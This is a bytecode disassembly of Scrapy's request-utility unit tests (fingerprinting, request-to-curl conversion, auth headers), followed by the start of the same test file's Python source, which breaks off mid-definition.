CALL_METHOD LOAD_FAST self LOAD_ATTR cache LOAD_FAST request STORE_SUBSCR LOAD_FAST self LOAD_ATTR cache LOAD_FAST request BINARY_SUBSCR RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'RequestFingerprinterTestCase' STORE_NAME __qualname__ LOAD_CONST <code object test_default_implementation at 0x7f8a95a1fa50, file "f.py", line 487> LOAD_CONST 'RequestFingerprinterTestCase.test_default_implementation' MAKE_FUNCTION STORE_NAME test_default_implementation LOAD_CONST <code object test_deprecated_implementation at 0x7f8a95a1f030, file "f.py", line 497> LOAD_CONST 'RequestFingerprinterTestCase.test_deprecated_implementation' MAKE_FUNCTION STORE_NAME test_deprecated_implementation LOAD_CONST <code object test_recommended_implementation at 0x7f8a95a1f270, file "f.py", line 510> LOAD_CONST 'RequestFingerprinterTestCase.test_recommended_implementation' MAKE_FUNCTION STORE_NAME test_recommended_implementation LOAD_CONST <code object test_unknown_implementation at 0x7f8a95a1f1e0, file "f.py", line 523> LOAD_CONST 'RequestFingerprinterTestCase.test_unknown_implementation' MAKE_FUNCTION STORE_NAME test_unknown_implementation LOAD_CONST None RETURN_VALUE LOAD_GLOBAL warnings LOAD_ATTR catch_warnings LOAD_CONST True LOAD_CONST ('record',) CALL_FUNCTION SETUP_WITH to 28 STORE_FAST logged_warnings LOAD_GLOBAL get_crawler LOAD_CONST False LOAD_CONST ('prevent_warnings',) CALL_FUNCTION STORE_FAST crawler POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Request LOAD_CONST 'https://example.com' CALL_FUNCTION STORE_FAST request LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST request CALL_METHOD LOAD_GLOBAL _request_fingerprint_as_bytes LOAD_FAST request CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertTrue LOAD_FAST logged_warnings CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'REQUEST_FINGERPRINTER_IMPLEMENTATION' LOAD_CONST '2.6' BUILD_MAP STORE_FAST settings LOAD_GLOBAL warnings LOAD_ATTR catch_warnings LOAD_CONST True LOAD_CONST ('record',) CALL_FUNCTION SETUP_WITH to 36 STORE_FAST logged_warnings LOAD_GLOBAL get_crawler LOAD_FAST settings LOAD_CONST ('settings_dict',) CALL_FUNCTION STORE_FAST crawler POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Request LOAD_CONST 'https://example.com' CALL_FUNCTION STORE_FAST request LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST request CALL_METHOD LOAD_GLOBAL _request_fingerprint_as_bytes LOAD_FAST request CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertTrue LOAD_FAST logged_warnings CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'REQUEST_FINGERPRINTER_IMPLEMENTATION' LOAD_CONST '2.7' BUILD_MAP STORE_FAST settings LOAD_GLOBAL warnings LOAD_ATTR catch_warnings LOAD_CONST True LOAD_CONST ('record',) CALL_FUNCTION SETUP_WITH to 36 STORE_FAST logged_warnings LOAD_GLOBAL get_crawler LOAD_FAST settings LOAD_CONST ('settings_dict',) CALL_FUNCTION STORE_FAST crawler POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Request LOAD_CONST 'https://example.com' CALL_FUNCTION STORE_FAST request LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST request CALL_METHOD LOAD_GLOBAL fingerprint LOAD_FAST request CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertFalse LOAD_FAST logged_warnings CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'REQUEST_FINGERPRINTER_IMPLEMENTATION' LOAD_CONST '2.5' BUILD_MAP STORE_FAST settings LOAD_FAST self LOAD_METHOD assertRaises LOAD_GLOBAL ValueError CALL_METHOD SETUP_WITH to 34 POP_TOP LOAD_GLOBAL get_crawler LOAD_FAST settings LOAD_CONST ('settings_dict',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CustomRequestFingerprinterTestCase' STORE_NAME __qualname__ LOAD_CONST <code object test_include_headers at 0x7f8ab6dea270, file "f.py", line 532> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_include_headers' MAKE_FUNCTION STORE_NAME test_include_headers LOAD_CONST <code object test_dont_canonicalize at 0x7f8ab6dea540, file "f.py", line 548> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_dont_canonicalize' MAKE_FUNCTION STORE_NAME test_dont_canonicalize LOAD_CONST <code object test_meta at 0x7f8ab6dea810, file "f.py", line 570> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_meta' MAKE_FUNCTION STORE_NAME test_meta LOAD_CONST <code object test_from_crawler at 0x7f8ab6dead20, file "f.py", line 595> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_crawler' MAKE_FUNCTION STORE_NAME test_from_crawler LOAD_CONST <code object test_from_settings at 0x7f8ab6deb1e0, file "f.py", line 617> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_settings' MAKE_FUNCTION STORE_NAME test_from_settings LOAD_CONST <code object test_from_crawler_and_settings at 0x7f8ab6deb660, file "f.py", line 639> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_crawler_and_settings' MAKE_FUNCTION STORE_NAME test_from_crawler_and_settings LOAD_CONST None RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object RequestFingerprinter at 0x7f8ab6dea150, file "f.py", line 533> LOAD_CONST 'RequestFingerprinter' MAKE_FUNCTION LOAD_CONST 'RequestFingerprinter' CALL_FUNCTION STORE_FAST RequestFingerprinter LOAD_CONST 'REQUEST_FINGERPRINTER_CLASS' LOAD_FAST RequestFingerprinter BUILD_MAP STORE_FAST settings LOAD_GLOBAL get_crawler LOAD_FAST settings LOAD_CONST ('settings_dict',) CALL_FUNCTION STORE_FAST crawler LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' LOAD_CONST 'X-ID' LOAD_CONST '1' BUILD_MAP LOAD_CONST ('headers',) CALL_FUNCTION STORE_FAST r1 LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST r1 CALL_METHOD STORE_FAST fp1 LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' LOAD_CONST 'X-ID' LOAD_CONST '2' BUILD_MAP LOAD_CONST ('headers',) CALL_FUNCTION STORE_FAST r2 LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST r2 CALL_METHOD STORE_FAST fp2 LOAD_FAST self LOAD_METHOD assertNotEqual LOAD_FAST fp1 LOAD_FAST fp2 CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CustomRequestFingerprinterTestCase.test_include_headers.<locals>.RequestFingerprinter' STORE_NAME __qualname__ LOAD_CONST <code object fingerprint at 0x7f8ab6dea0c0, file "f.py", line 534> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_include_headers.<locals>.RequestFingerprinter.fingerprint' MAKE_FUNCTION STORE_NAME fingerprint LOAD_CONST None RETURN_VALUE LOAD_GLOBAL fingerprint LOAD_FAST request LOAD_CONST 'X-ID' BUILD_LIST LOAD_CONST ('include_headers',) CALL_FUNCTION RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object RequestFingerprinter at 0x7f8ab6dea4b0, file "f.py", line 549> LOAD_CONST 'RequestFingerprinter' MAKE_FUNCTION LOAD_CONST 'RequestFingerprinter' CALL_FUNCTION STORE_FAST RequestFingerprinter LOAD_CONST 'REQUEST_FINGERPRINTER_CLASS' LOAD_FAST RequestFingerprinter BUILD_MAP STORE_FAST settings LOAD_GLOBAL get_crawler LOAD_FAST settings LOAD_CONST ('settings_dict',) CALL_FUNCTION STORE_FAST crawler LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com?a=1&a=2' CALL_FUNCTION STORE_FAST r1 LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST r1 CALL_METHOD STORE_FAST fp1 LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com?a=2&a=1' CALL_FUNCTION STORE_FAST r2 LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST r2 CALL_METHOD STORE_FAST fp2 LOAD_FAST self LOAD_METHOD assertNotEqual LOAD_FAST fp1 LOAD_FAST fp2 CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CustomRequestFingerprinterTestCase.test_dont_canonicalize.<locals>.RequestFingerprinter' STORE_NAME __qualname__ LOAD_NAME WeakKeyDictionary CALL_FUNCTION STORE_NAME cache LOAD_CONST <code object fingerprint at 0x7f8ab6dea420, file "f.py", line 552> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_dont_canonicalize.<locals>.RequestFingerprinter.fingerprint' MAKE_FUNCTION STORE_NAME fingerprint LOAD_CONST None RETURN_VALUE LOAD_FAST request LOAD_FAST self LOAD_ATTR cache COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL sha1 CALL_FUNCTION STORE_FAST fp LOAD_FAST fp LOAD_METHOD update LOAD_GLOBAL to_bytes LOAD_FAST request LOAD_ATTR url CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST fp LOAD_METHOD digest CALL_METHOD LOAD_FAST self LOAD_ATTR cache LOAD_FAST request STORE_SUBSCR LOAD_FAST self LOAD_ATTR cache LOAD_FAST request BINARY_SUBSCR RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object RequestFingerprinter at 0x7f8ab6dea6f0, file "f.py", line 571> LOAD_CONST 'RequestFingerprinter' MAKE_FUNCTION LOAD_CONST 'RequestFingerprinter' CALL_FUNCTION STORE_FAST RequestFingerprinter LOAD_CONST 'REQUEST_FINGERPRINTER_CLASS' LOAD_FAST RequestFingerprinter BUILD_MAP STORE_FAST settings LOAD_GLOBAL get_crawler LOAD_FAST settings LOAD_CONST ('settings_dict',) CALL_FUNCTION STORE_FAST crawler LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' CALL_FUNCTION STORE_FAST r1 LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST r1 CALL_METHOD STORE_FAST fp1 LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' LOAD_CONST 'fingerprint' LOAD_CONST 'a' BUILD_MAP LOAD_CONST ('meta',) CALL_FUNCTION STORE_FAST r2 LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST r2 CALL_METHOD STORE_FAST fp2 LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' LOAD_CONST 'fingerprint' LOAD_CONST 'a' BUILD_MAP LOAD_CONST ('meta',) CALL_FUNCTION STORE_FAST r3 LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST r3 CALL_METHOD STORE_FAST fp3 LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' LOAD_CONST 'fingerprint' LOAD_CONST 'b' BUILD_MAP LOAD_CONST ('meta',) CALL_FUNCTION STORE_FAST r4 LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST r4 CALL_METHOD STORE_FAST fp4 LOAD_FAST self LOAD_METHOD assertNotEqual LOAD_FAST fp1 LOAD_FAST fp2 CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertNotEqual LOAD_FAST fp1 LOAD_FAST fp4 CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertNotEqual LOAD_FAST fp2 LOAD_FAST fp4 CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST fp2 LOAD_FAST fp3 CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CustomRequestFingerprinterTestCase.test_meta.<locals>.RequestFingerprinter' STORE_NAME __qualname__ LOAD_CONST <code object fingerprint at 0x7f8ab6dea660, file "f.py", line 572> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_meta.<locals>.RequestFingerprinter.fingerprint' MAKE_FUNCTION STORE_NAME fingerprint LOAD_CONST None RETURN_VALUE LOAD_CONST 'fingerprint' LOAD_FAST request LOAD_ATTR meta COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR meta LOAD_CONST 'fingerprint' BINARY_SUBSCR RETURN_VALUE LOAD_GLOBAL fingerprint LOAD_FAST request CALL_FUNCTION RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object RequestFingerprinter at 0x7f8ab6deac90, file "f.py", line 596> LOAD_CONST 'RequestFingerprinter' MAKE_FUNCTION LOAD_CONST 'RequestFingerprinter' CALL_FUNCTION STORE_FAST RequestFingerprinter LOAD_FAST RequestFingerprinter LOAD_CONST b'fingerprint' LOAD_CONST ('REQUEST_FINGERPRINTER_CLASS', 'FINGERPRINT') BUILD_CONST_KEY_MAP STORE_FAST settings LOAD_GLOBAL get_crawler LOAD_FAST settings LOAD_CONST ('settings_dict',) CALL_FUNCTION STORE_FAST crawler LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' CALL_FUNCTION STORE_FAST request LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST request CALL_METHOD STORE_FAST fingerprint LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST fingerprint LOAD_FAST settings LOAD_CONST 'FINGERPRINT' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_crawler.<locals>.RequestFingerprinter' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CONST <code object from_crawler at 0x7f8ab6dea9c0, file "f.py", line 597> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_crawler.<locals>.RequestFingerprinter.from_crawler' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_crawler LOAD_CONST <code object __init__ at 0x7f8ab6deaae0, file "f.py", line 601> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_crawler.<locals>.RequestFingerprinter.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object fingerprint at 0x7f8ab6deac00, file "f.py", line 604> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_crawler.<locals>.RequestFingerprinter.fingerprint' MAKE_FUNCTION STORE_NAME fingerprint LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_FAST crawler CALL_FUNCTION RETURN_VALUE LOAD_FAST crawler LOAD_ATTR settings LOAD_CONST 'FINGERPRINT' BINARY_SUBSCR LOAD_FAST self STORE_ATTR _fingerprint LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _fingerprint RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object RequestFingerprinter at 0x7f8ab6deb150, file "f.py", line 618> LOAD_CONST 'RequestFingerprinter' MAKE_FUNCTION LOAD_CONST 'RequestFingerprinter' CALL_FUNCTION STORE_FAST RequestFingerprinter LOAD_FAST RequestFingerprinter LOAD_CONST b'fingerprint' LOAD_CONST ('REQUEST_FINGERPRINTER_CLASS', 'FINGERPRINT') BUILD_CONST_KEY_MAP STORE_FAST settings LOAD_GLOBAL get_crawler LOAD_FAST settings LOAD_CONST ('settings_dict',) CALL_FUNCTION STORE_FAST crawler LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' CALL_FUNCTION STORE_FAST request LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST request CALL_METHOD STORE_FAST fingerprint LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST fingerprint LOAD_FAST settings LOAD_CONST 'FINGERPRINT' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_settings.<locals>.RequestFingerprinter' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CONST <code object from_settings at 0x7f8ab6deae40, file "f.py", line 619> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_settings.<locals>.RequestFingerprinter.from_settings' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_settings LOAD_CONST <code object __init__ at 0x7f8ab6deaf60, file "f.py", line 623> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_settings.<locals>.RequestFingerprinter.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object fingerprint at 0x7f8ab6deb0c0, file "f.py", line 626> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_settings.<locals>.RequestFingerprinter.fingerprint' MAKE_FUNCTION STORE_NAME fingerprint LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_FAST settings CALL_FUNCTION RETURN_VALUE LOAD_FAST settings LOAD_CONST 'FINGERPRINT' BINARY_SUBSCR LOAD_FAST self STORE_ATTR _fingerprint LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _fingerprint RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object RequestFingerprinter at 0x7f8ab6deb5d0, file "f.py", line 640> LOAD_CONST 'RequestFingerprinter' MAKE_FUNCTION LOAD_CONST 'RequestFingerprinter' CALL_FUNCTION STORE_FAST RequestFingerprinter LOAD_FAST RequestFingerprinter LOAD_CONST b'fingerprint' LOAD_CONST ('REQUEST_FINGERPRINTER_CLASS', 'FINGERPRINT') BUILD_CONST_KEY_MAP STORE_FAST settings LOAD_GLOBAL get_crawler LOAD_FAST settings LOAD_CONST ('settings_dict',) CALL_FUNCTION STORE_FAST crawler LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' CALL_FUNCTION STORE_FAST request LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST request CALL_METHOD STORE_FAST fingerprint LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST fingerprint LOAD_FAST settings LOAD_CONST 'FINGERPRINT' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_crawler_and_settings.<locals>.RequestFingerprinter' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CONST <code object from_settings at 0x7f8ab6deb300, file "f.py", line 641> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_crawler_and_settings.<locals>.RequestFingerprinter.from_settings' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_settings LOAD_NAME classmethod LOAD_CONST <code object from_crawler at 0x7f8ab6deb390, file "f.py", line 645> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_crawler_and_settings.<locals>.RequestFingerprinter.from_crawler' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_crawler LOAD_CONST <code object __init__ at 0x7f8ab6deb420, file "f.py", line 649> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_crawler_and_settings.<locals>.RequestFingerprinter.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object fingerprint at 0x7f8ab6deb4b0, file "f.py", line 652> LOAD_CONST 'CustomRequestFingerprinterTestCase.test_from_crawler_and_settings.<locals>.RequestFingerprinter.fingerprint' MAKE_FUNCTION STORE_NAME fingerprint LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_FAST settings CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST crawler CALL_FUNCTION RETURN_VALUE LOAD_FAST crawler LOAD_ATTR settings LOAD_CONST 'FINGERPRINT' BINARY_SUBSCR LOAD_FAST self STORE_ATTR _fingerprint LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _fingerprint RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'RequestToCurlTest' STORE_NAME __qualname__ LOAD_CONST <code object _test_request at 0x7f8ab6deb780, file "f.py", line 667> LOAD_CONST 'RequestToCurlTest._test_request' MAKE_FUNCTION STORE_NAME _test_request LOAD_CONST <code object test_get at 0x7f8ab6deb810, file "f.py", line 671> LOAD_CONST 'RequestToCurlTest.test_get' MAKE_FUNCTION STORE_NAME test_get LOAD_CONST <code object test_post at 0x7f8ab6deb8a0, file "f.py", line 676> LOAD_CONST 'RequestToCurlTest.test_post' MAKE_FUNCTION STORE_NAME test_post LOAD_CONST <code object test_headers at 0x7f8ab6deb930, file "f.py", line 687> LOAD_CONST 'RequestToCurlTest.test_headers' MAKE_FUNCTION STORE_NAME test_headers LOAD_CONST <code object test_cookies_dict at 0x7f8ab6deb9c0, file "f.py", line 701> LOAD_CONST 'RequestToCurlTest.test_cookies_dict' MAKE_FUNCTION STORE_NAME test_cookies_dict LOAD_CONST <code object test_cookies_list at 0x7f8ab6deba50, file "f.py", line 714> LOAD_CONST 'RequestToCurlTest.test_cookies_list' MAKE_FUNCTION STORE_NAME test_cookies_list LOAD_CONST None RETURN_VALUE LOAD_GLOBAL request_to_curl LOAD_FAST request_object CALL_FUNCTION STORE_FAST curl_command LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST curl_command LOAD_FAST expected_curl_command CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'https://www.example.com' CALL_FUNCTION STORE_FAST request_object LOAD_CONST 'curl -X GET https://www.example.com' STORE_FAST expected_curl_command LOAD_FAST self LOAD_METHOD _test_request LOAD_FAST request_object LOAD_FAST expected_curl_command CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'https://www.httpbin.org/post' LOAD_CONST 'POST' LOAD_GLOBAL json LOAD_METHOD dumps LOAD_CONST 'foo' LOAD_CONST 'bar' BUILD_MAP CALL_METHOD LOAD_CONST ('method', 'body') CALL_FUNCTION STORE_FAST request_object LOAD_CONST 'curl -X POST https://www.httpbin.org/post --data-raw \'{"foo": "bar"}\'' STORE_FAST expected_curl_command LOAD_FAST self LOAD_METHOD _test_request LOAD_FAST request_object LOAD_FAST expected_curl_command CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'https://www.httpbin.org/post' LOAD_CONST 'POST' LOAD_CONST 'application/json' LOAD_CONST 'application/json' LOAD_CONST ('Content-Type', 'Accept') BUILD_CONST_KEY_MAP LOAD_GLOBAL json LOAD_METHOD dumps LOAD_CONST 'foo' LOAD_CONST 'bar' BUILD_MAP CALL_METHOD LOAD_CONST ('method', 'headers', 'body') CALL_FUNCTION STORE_FAST request_object LOAD_CONST 'curl -X POST https://www.httpbin.org/post --data-raw \'{"foo": "bar"}\' -H \'Content-Type: application/json\' -H \'Accept: application/json\'' STORE_FAST expected_curl_command LOAD_FAST self LOAD_METHOD _test_request LOAD_FAST request_object LOAD_FAST expected_curl_command CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'https://www.httpbin.org/post' LOAD_CONST 'POST' LOAD_CONST 'foo' LOAD_CONST 'bar' BUILD_MAP LOAD_GLOBAL json LOAD_METHOD dumps LOAD_CONST 'foo' LOAD_CONST 'bar' BUILD_MAP CALL_METHOD LOAD_CONST ('method', 'cookies', 'body') CALL_FUNCTION STORE_FAST request_object LOAD_CONST 'curl -X POST https://www.httpbin.org/post --data-raw \'{"foo": "bar"}\' --cookie \'foo=bar\'' STORE_FAST expected_curl_command LOAD_FAST self LOAD_METHOD _test_request LOAD_FAST request_object LOAD_FAST expected_curl_command CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'https://www.httpbin.org/post' LOAD_CONST 'POST' LOAD_CONST 'foo' LOAD_CONST 'bar' BUILD_MAP BUILD_LIST LOAD_GLOBAL json LOAD_METHOD dumps LOAD_CONST 'foo' LOAD_CONST 'bar' BUILD_MAP CALL_METHOD LOAD_CONST ('method', 'cookies', 'body') CALL_FUNCTION STORE_FAST request_object LOAD_CONST 'curl -X POST https://www.httpbin.org/post --data-raw \'{"foo": "bar"}\' --cookie \'foo=bar\'' STORE_FAST expected_curl_command LOAD_FAST self LOAD_METHOD _test_request LOAD_FAST request_object LOAD_FAST expected_curl_command CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE
import json import unittest import warnings from hashlib import sha1 from typing import Dict, Mapping, Optional, Tuple, Union from weakref import WeakKeyDictionary import pytest from w3lib.url import canonicalize_url from scrapy.http import Request from scrapy.utils.deprecate import ScrapyDeprecationWarning from scrapy.utils.python import to_bytes from scrapy.utils.request import ( _deprecated_fingerprint_cache, _fingerprint_cache, _request_fingerprint_as_bytes, fingerprint, request_authenticate, request_fingerprint, request_httprepr, request_to_curl, ) from scrapy.utils.test import get_crawler class UtilsRequestTest(unittest.TestCase): def test_request_authenticate(self): r = Request("http://www.example.com") request_authenticate(r, "someuser", "somepass") self.assertEqual(r.headers["Authorization"], b"Basic c29tZXVzZXI6c29tZXBhc3M=") def test_request_httprepr(self): r1 = Request("http://www.example.com") self.assertEqual( request_httprepr(r1), b"GET / HTTP/1.1\r\nHost: www.example.com\r\n\r\n" ) r1 = Request("http://www.example.com/some/page.html?arg=1") self.assertEqual( request_httprepr(r1), b"GET /some/page.html?arg=1 HTTP/1.1\r\nHost: www.example.com\r\n\r\n", ) r1 = Request( "http://www.example.com", method="POST", headers={"Content-type": b"text/html"}, body=b"Some body", ) self.assertEqual( request_httprepr(r1), b"POST / HTTP/1.1\r\nHost: www.example.com\r\nContent-Type: text/html\r\n\r\nSome body", ) def test_request_httprepr_for_non_http_request(self): request_httprepr(Request("file:///tmp/foo.txt")) request_httprepr(Request("ftp://localhost/tmp/foo.txt")) class FingerprintTest(unittest.TestCase): maxDiff = None function: staticmethod = staticmethod(fingerprint) cache: Union[ "WeakKeyDictionary[Request, Dict[Tuple[Optional[Tuple[bytes, ...]], bool], bytes]]", "WeakKeyDictionary[Request, Dict[Tuple[Optional[Tuple[bytes, ...]], bool], str]]", ] = _fingerprint_cache default_cache_key = (None, False) known_hashes: Tuple[Tuple[Request, Union[bytes, str], Dict], ...] = ( ( Request("http://example.org"), b"xs\xd7\x0c3uj\x15\xfe\xd7d\x9b\xa9\t\xe0d\xbf\x9cXD", {}, ), ( Request("https://example.org"), b"\xc04\x85P,\xaa\x91\x06\xf8t\xb4\xbd*\xd9\xe9\x8a:m\xc3l", {}, ), ( Request("https://example.org?a"), b"G\xad\xb8Ck\x19\x1c\xed\x838,\x01\xc4\xde;\xee\xa5\x94a\x0c", {}, ), ( Request("https://example.org?a=b"), b"\x024MYb\x8a\xc2\x1e\xbc>\xd6\xac*\xda\x9cF\xc1r\x7f\x17", {}, ), ( Request("https://example.org?a=b&a"), b"t+\xe8*\xfb\x84\xe3v\x1a}\x88p\xc0\xccB\xd7\x9d\xfez\x96", {}, ), ( Request("https://example.org?a=b&a=c"), b"\xda\x1ec\xd0\x9c\x08s`\xb4\x9b\xe2\xb6R\xf8k\xef\xeaQG\xef", {}, ), ( Request("https://example.org", method="POST"), b"\x9d\xcdA\x0fT\x02:\xca\xa0}\x90\xda\x05B\xded\x8aN7\x1d", {}, ), ( Request("https://example.org", body=b"a"), b"\xc34z>\xd8\x99\x8b\xda7\x05r\x99I\xa8\xa0x;\xa41_", {}, ), ( Request("https://example.org", method="POST", body=b"a"), b"5`\xe2y4\xd0\x9d\xee\xe0\xbatw\x87Q\xe8O\xd78\xfc\xe7", {}, ), ( Request("https://example.org#a", headers={"A": b"B"}), b"\xc04\x85P,\xaa\x91\x06\xf8t\xb4\xbd*\xd9\xe9\x8a:m\xc3l", {}, ), ( Request("https://example.org#a", headers={"A": b"B"}), b"]\xc7\x1f\xf2\xafG2\xbc\xa4\xfa\x99\n33\xda\x18\x94\x81U.", {"include_headers": ["A"]}, ), ( Request("https://example.org#a", headers={"A": b"B"}), b"<\x1a\xeb\x85y\xdeW\xfb\xdcq\x88\xee\xaf\x17\xdd\x0c\xbfH\x18\x1f", {"keep_fragments": True}, ), ( Request("https://example.org#a", headers={"A": b"B"}), b"\xc1\xef~\x94\x9bS\xc1\x83\t\xdcz8\x9f\xdc{\x11\x16I.\x11", {"include_headers": ["A"], "keep_fragments": True}, ), ( Request("https://example.org/ab"), b"N\xe5l\xb8\x12@iw\xe2\xf3\x1bp\xea\xffp!u\xe2\x8a\xc6", {}, ), ( Request("https://example.org/a", body=b"b"), b"_NOv\xbco$6\xfcW\x9f\xb24g\x9f\xbb\xdd\xa82\xc5", {}, ), ) def test_query_string_key_order(self): r1 = Request("http://www.example.com/query?id=111&cat=222") r2 = Request("http://www.example.com/query?cat=222&id=111") self.assertEqual(self.function(r1), self.function(r1)) self.assertEqual(self.function(r1), self.function(r2)) def 